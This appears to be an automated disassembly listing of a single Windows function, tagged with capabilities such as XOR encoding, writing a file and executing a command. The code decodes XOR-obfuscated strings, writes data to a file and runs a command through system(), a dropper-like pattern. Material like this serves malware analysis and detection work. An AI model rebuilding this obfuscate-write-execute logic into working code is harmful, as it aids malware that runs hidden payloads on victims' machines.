Function at 0x140016490
Capabilities:
Encode data using xor
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov byte [rbp + 0x168], 0xe5
xor edi, edi
mov byte [rbp + 0x169], 0xe6
movabs r10, 0x9c1e819dfe3a51d8
mov byte [rbp + 0x16a], 0xe3
mov r9, r10
mov byte [rbp + 0x16b], 0xe9
mov r8d, edi
mov byte [rbp + 0x16c], 0xe1
lea esi, [rdi + 0xf]
mov byte [rbp + 0x16d], 0xe8
mov byte [rbp + 0x16e], Ordinal_211
movzx eax, byte [rbp + 0x168]
lea rax, [rbp + 0x168]
sub r9, rax
nop word [rax + rax]
mov rax, r8
lea rcx, [rbp + 0x168]
and eax, esi
add rcx, r8
cmp rax, rsi
cmovae rax, rsi
movsx rdx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, r10, rax
and al, sil
xor al, cl
xor al, dl
mov byte [rbp + r8 + 0x168], al
inc r8
cmp r8, 7
jb 0x140016500
vpxor xmm0, xmm0, xmm0
vpxor xmm1, xmm1, xmm1
vmovups xmmword [rbp - 0x68], xmm0
vmovdqu xmmword [rbp - 0x58], xmm1
lea rax, [rbp + 0x168]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], dil
jne 0x140016560
lea rdx, [rbp + 0x168]
mov qword [rsp + 0x238], rbx
lea rcx, [rbp - 0x68]
call fcn.140002120
lea r8, [rbp - 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [0x1400a1b80]
call fcn.140024720
mov rcx, qword [rsp + 0x60]
cmp rcx, qword [rsp + 0x68]
je 0x140016c07
mov byte [rbp + 0x170], 0x9e
movabs r10, 0xde0f4b0682970ebc
mov byte [rbp + 0x171], reloc.WLDAP32.dll_Ordinal_211
mov r9, r10
mov byte [rbp + 0x172], reloc.WLDAP32.dll_Ordinal_200
mov r8, rdi
mov byte [rbp + 0x173], 0xda
mov byte [rbp + 0x174], Ordinal_200
movzx eax, byte [rbp + 0x170]
lea rax, [rbp + 0x170]
sub r9, rax
nop word [rax + rax]
mov rax, r8
lea rcx, [rbp + 0x170]
and eax, esi
add rcx, r8
cmp rax, rsi
cmovae rax, rsi
movsx rdx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, r10, rax
and al, sil
xor al, cl
xor al, dl
mov byte [rbp + r8 + 0x170], al
inc r8
cmp r8, 5
jb 0x1400165f0
mov edx, 0xa
lea rcx, [rbp + 0x110]
call fcn.140013560
mov byte [rbp + 0x160], Ordinal_46
movabs r10, 0x51f320bfa785c278
mov rbx, rax
mov byte [rbp + 0x161], 0x7e
movzx ecx, byte [rbp + 0x160]
lea rax, [rbp + 0x160]
mov r9, r10
mov r8, rdi
sub r9, rax
mov rax, r8
lea rcx, [rbp + 0x160]
and eax, esi
add rcx, r8
cmp rax, rsi
cmovae rax, rsi
movzx edx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, r10, rax
and al, sil
xor al, cl
xor al, dl
mov byte [rbp + r8 + 0x160], al
inc r8
cmp r8, 2
jb 0x140016671
mov rdx, qword [0x1400a1af0]
lea rax, [rbp + 0x160]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], dil
jne 0x1400166c3
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x140016c54
cmp qword [0x1400a1af8], rsi
lea rax, [rbp + 0x160]
mov qword [rsp + 0x30], rcx
lea r9, [0x1400a1ae0]
cmova r9, qword [0x1400a1ae0]
lea r8, [0x1400a1ae0]
mov qword [rsp + 0x28], rax
lea rcx, [rbp - 0x68]
mov qword [rsp + 0x20], rdx
movzx edx, byte [rbp + 0x160]
call fcn.140009e40
movzx edx, byte [rbp + 0x160]
lea r8, [rbp - 0x68]
mov r9, rbx
lea rcx, [rbp + 0xd0]
call fcn.140009c40
lea rax, [rbp + 0x170]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140016750
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xd0]
call fcn.14000e6c0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x40], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x50], xmm1
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x40], ymm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], dil
mov rdx, qword [rbp + 0xe8]
cmp rdx, rsi
jbe 0x1400167d8
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400167d0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001685f
vzeroupper
call fcn.14007fd28
mov rdx, qword [rbp - 0x50]
mov byte [rbp + 0xd0], dil
vmovdqu xmm0, xmmword [0x140085a30]
vmovdqu xmmword [rbp + 0xe0], xmm0
cmp rdx, rsi
jbe 0x140016828
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016820
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001685f
vzeroupper
call fcn.14007fd28
mov rdx, qword [rbp + 0x128]
cmp rdx, rsi
jbe 0x140016871
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016869
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016869
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
vzeroupper
call fcn.14007fd28
cmp qword [rsp + 0x58], rsi
lea rbx, [rsp + 0x40]
lea rax, [0x140084538]
cmova rbx, qword [rsp + 0x40]
lea rcx, [rbp + 0x68]
mov qword [rbp - 0x40], rax
vzeroupper
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp - 0x38]
xor r8d, r8d
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp - 0x40]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], rsi
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0x44], dil
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x38], rax
mov byte [rbp + 0x39], dil
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a2300]
lea rcx, [rbp - 0x38]
mov r9d, 0x40
mov qword [rbp + 0x48], rdi
mov rdx, rbx
mov qword [rbp + 0x3c], rax
mov qword [rbp + 0x30], rdi
lea r8d, [r9 - 0x1e]
call fcn.140017720
test rax, rax
jne 0x140016944
mov rax, qword [rbp - 0x40]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp - 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], rsi
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
cmp qword [rbp + 0x48], rdi
je 0x140016b7a
mov r8, qword [rsp + 0x68]
lea rcx, [rbp - 0x40]
mov rdx, qword [rsp + 0x60]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
cmp qword [rbp + 0x48], rdi
je 0x140016ac6
mov rax, qword [rbp - 0x20]
lea rcx, [rbp + 0x38]
cmp qword [rax], rcx
jne 0x1400169b5
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp]
mov qword [rax], rcx
mov rax, qword [rbp + 0x18]
mov dword [rax], edx
cmp qword [rbp + 0x30], rdi
je 0x140016a2f
cmp byte [rbp + 0x39], dil
je 0x140016a2f
mov rax, qword [rbp - 0x38]
lea rcx, [rbp - 0x38]
mov edx, 0xffffffff
mov r8, qword [rax + 0x18]
lea rax, [fcn.140017860]
cmp r8, rax
jne 0x1400169e5
call fcn.140017860
jmp 0x1400169e8
call r8
cmp eax, 0xffffffff
jne 0x1400169f1
xor bl, bl
jmp 0x140016a31
mov rcx, qword [rbp + 0x30]
lea rax, [rbp + 0x178]
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0x3c]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140016a7e
sub eax, 1
je 0x140016a82
cmp eax, 2
je 0x140016a2b
xor bl, bl
jmp 0x140016a31
mov byte [rbp + 0x39], dil
mov bl, 1
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test bl, bl
mov byte [rbp + 0x44], dil
lea rcx, [rbp - 0x38]
mov byte [rbp + 0x39], dil
cmove rcx, rdi
mov rbx, rdi
test eax, eax
cmove rbx, rcx
lea rcx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a2300]
mov qword [rbp + 0x3c], rax
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x30], rdi
test rbx, rbx
jne 0x140016b07
jmp 0x140016aeb
mov byte [rbp + 0x39], dil
mov rbx, qword [rbp + 0x178]
lea rax, [rbp + 0xf0]
sub rbx, rax
je 0x140016aba
mov r9, qword [rbp + 0x48]
lea rcx, [rbp + 0xf0]
mov r8, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
je 0x140016aba
xor bl, bl
jmp 0x140016a31
cmp byte [rbp + 0x39], dil
sete bl
jmp 0x140016a31
lea rcx, [rbp - 0x38]
mov byte [rbp + 0x44], dil
mov byte [rbp + 0x39], dil
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a2300]
mov qword [rbp + 0x3c], rax
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x30], rdi
mov rax, qword [rbp - 0x40]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp - 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x78]
call fcn.140009ae0
cmp qword [rbp - 0x70], 0xf
lea rcx, [rsp + 0x78]
cmova rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140016b68
mov rcx, qword [rsp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016b63
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016c35
call fcn.14007fd28
vmovdqu xmm0, xmmword [0x140085a30]
vmovdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], dil
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], rsi
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x38]
call fcn.14000acf0
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140016bef
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016bea
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016c35
call fcn.14007fd28
vmovdqu xmm0, xmmword [0x140085a30]
mov rcx, qword [rsp + 0x60]
vmovdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], dil
test rcx, rcx
je 0x140016c41
mov rdx, qword [rsp + 0x70]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140016c3c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016c3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007fd28
mov rbx, qword [rsp + 0x238]
add rsp, 0x240
pop rdi
pop rsi
pop rbp
ret
call fcn.14000e610
int3